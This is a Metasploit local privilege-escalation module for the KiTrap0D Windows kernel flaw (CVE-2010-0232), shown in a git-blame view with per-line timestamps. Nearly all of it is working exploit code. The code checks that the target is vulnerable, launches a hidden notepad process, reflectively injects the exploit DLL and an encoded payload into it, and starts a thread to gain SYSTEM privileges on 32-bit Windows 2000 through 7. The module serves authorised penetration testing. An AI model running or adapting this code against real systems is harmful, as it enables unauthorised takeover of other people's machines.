2013-11-11 01:11:42 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2013-11-11 01:11:42 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
2013-12-05 22:25:24 +00:00
|
|
|
require 'msf/core/post/windows/reflective_dll_injection'
|
2013-11-11 01:11:42 +00:00
|
|
|
require 'msf/core/exploit/exe'
|
2013-11-12 10:10:31 +00:00
|
|
|
require 'rex'
|
2013-11-11 01:11:42 +00:00
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Local
|
2013-11-13 00:38:48 +00:00
|
|
|
Rank = GreatRanking
|
2013-11-11 01:11:42 +00:00
|
|
|
|
2013-12-05 22:25:24 +00:00
|
|
|
include Msf::Post::File
|
|
|
|
include Msf::Post::Windows::Priv
|
|
|
|
include Msf::Post::Windows::ReflectiveDLLInjection
|
2013-11-11 01:11:42 +00:00
|
|
|
|
|
|
|
def initialize(info={})
|
|
|
|
super( update_info( info,
|
2013-11-15 06:03:42 +00:00
|
|
|
'Name' => 'Windows SYSTEM Escalation via KiTrap0D',
|
2013-11-11 01:11:42 +00:00
|
|
|
'Description' => %q{
|
2013-11-12 10:10:31 +00:00
|
|
|
This module will create a new session with SYSTEM privileges via the
|
|
|
|
KiTrap0D exlpoit by Tavis Ormandy. If the session is use is already
|
2013-11-14 02:17:07 +00:00
|
|
|
elevated then the exploit will not run. The module relies on kitrap0d.x86.dll,
|
|
|
|
and is not supported on x64 editions of Windows.
|
2013-11-11 01:11:42 +00:00
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' => [
|
|
|
|
'Tavis Ormandy', # Original resesarcher and exploit creator
|
|
|
|
'HD Moore', # Port of Tavis' code to meterpreter module
|
|
|
|
'Pusscat', # Port of Tavis' code to meterpreter module
|
|
|
|
'OJ Reeves' # Port of meterpreter code to a windows local exploit
|
|
|
|
],
|
|
|
|
'Platform' => [ 'win' ],
|
|
|
|
'SessionTypes' => [ 'meterpreter' ],
|
|
|
|
'Targets' => [
|
|
|
|
[ 'Windows 2K SP4 - Windows 7 (x86)', { 'Arch' => ARCH_X86, 'Platform' => 'win' } ]
|
|
|
|
],
|
|
|
|
'DefaultTarget' => 0,
|
|
|
|
'References' => [
|
|
|
|
[ 'CVE', '2010-0232' ],
|
|
|
|
[ 'OSVDB', '61854' ],
|
2013-11-13 00:38:48 +00:00
|
|
|
[ 'MSB', 'MS10-015' ],
|
|
|
|
[ 'EDB', '11199' ],
|
|
|
|
[ 'URL', 'http://seclists.org/fulldisclosure/2010/Jan/341' ]
|
2013-11-11 01:11:42 +00:00
|
|
|
],
|
|
|
|
'DisclosureDate'=> "Jan 19 2010"
|
|
|
|
))
|
|
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
def check
|
|
|
|
# Validate platform architecture
|
|
|
|
if sysinfo["Architecture"] =~ /x64|WOW64/i
|
|
|
|
return Exploit::CheckCode::Safe
|
|
|
|
end
|
|
|
|
|
|
|
|
# Validate OS version
|
|
|
|
winver = sysinfo["OS"]
|
2013-11-13 00:38:48 +00:00
|
|
|
unless winver =~ /Windows 2000|Windows XP|Windows Vista|Windows 2003|Windows 2008|Windows 7/
|
2013-11-11 01:11:42 +00:00
|
|
|
return Exploit::CheckCode::Safe
|
|
|
|
end
|
|
|
|
|
|
|
|
return Exploit::CheckCode::Appears
|
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
2013-11-14 02:17:07 +00:00
|
|
|
if is_system?
|
2013-11-11 01:11:42 +00:00
|
|
|
fail_with(Exploit::Failure::None, 'Session is already elevated')
|
|
|
|
end
|
|
|
|
|
2013-11-13 00:38:48 +00:00
|
|
|
if check == Exploit::CheckCode::Safe
|
2013-11-11 01:11:42 +00:00
|
|
|
fail_with(Exploit::Failure::NotVulnerable, "Exploit not available on this system.")
|
|
|
|
end
|
|
|
|
|
2013-11-12 10:10:31 +00:00
|
|
|
print_status("Launching notepad to host the exploit...")
|
2013-12-04 06:09:41 +00:00
|
|
|
process = client.sys.process.execute("notepad.exe", nil, {'Hidden' => true})
|
|
|
|
host_process = client.sys.process.open(process.pid, PROCESS_ALL_ACCESS)
|
|
|
|
print_good("Process #{process.pid} launched.")
|
|
|
|
|
|
|
|
print_status("Reflectively injecting the exploit DLL into #{process.pid}...")
|
2013-11-14 02:17:07 +00:00
|
|
|
library_path = ::File.join(Msf::Config.data_directory, "exploits",
|
|
|
|
"CVE-2010-0232", "kitrap0d.x86.dll")
|
2013-11-12 10:10:31 +00:00
|
|
|
library_path = ::File.expand_path(library_path)
|
|
|
|
|
2013-12-04 06:09:41 +00:00
|
|
|
print_status("Injecting exploit into #{process.pid} ...")
|
|
|
|
exploit_mem, offset = inject_dll_into_process(host_process, library_path)
|
|
|
|
|
|
|
|
print_status("Exploit injected. Injecting payload into #{process.pid}...")
|
|
|
|
payload_mem = inject_into_process(host_process, payload.encoded)
|
2013-11-12 10:10:31 +00:00
|
|
|
|
2013-11-14 02:17:07 +00:00
|
|
|
# invoke the exploit, passing in the address of the payload that
|
|
|
|
# we want invoked on successful exploitation.
|
2013-12-04 06:09:41 +00:00
|
|
|
print_status("Payload injected. Executing exploit...")
|
2013-11-14 02:17:07 +00:00
|
|
|
host_process.thread.create(exploit_mem + offset, payload_mem)
|
2013-11-12 10:10:31 +00:00
|
|
|
|
2013-11-14 02:17:07 +00:00
|
|
|
print_good("Exploit finished, wait for (hopefully privileged) payload execution to complete.")
|
2013-11-11 01:11:42 +00:00
|
|
|
end
|
2013-11-12 10:10:31 +00:00
|
|
|
|
2013-11-11 01:11:42 +00:00
|
|
|
end
|
|
|
|
|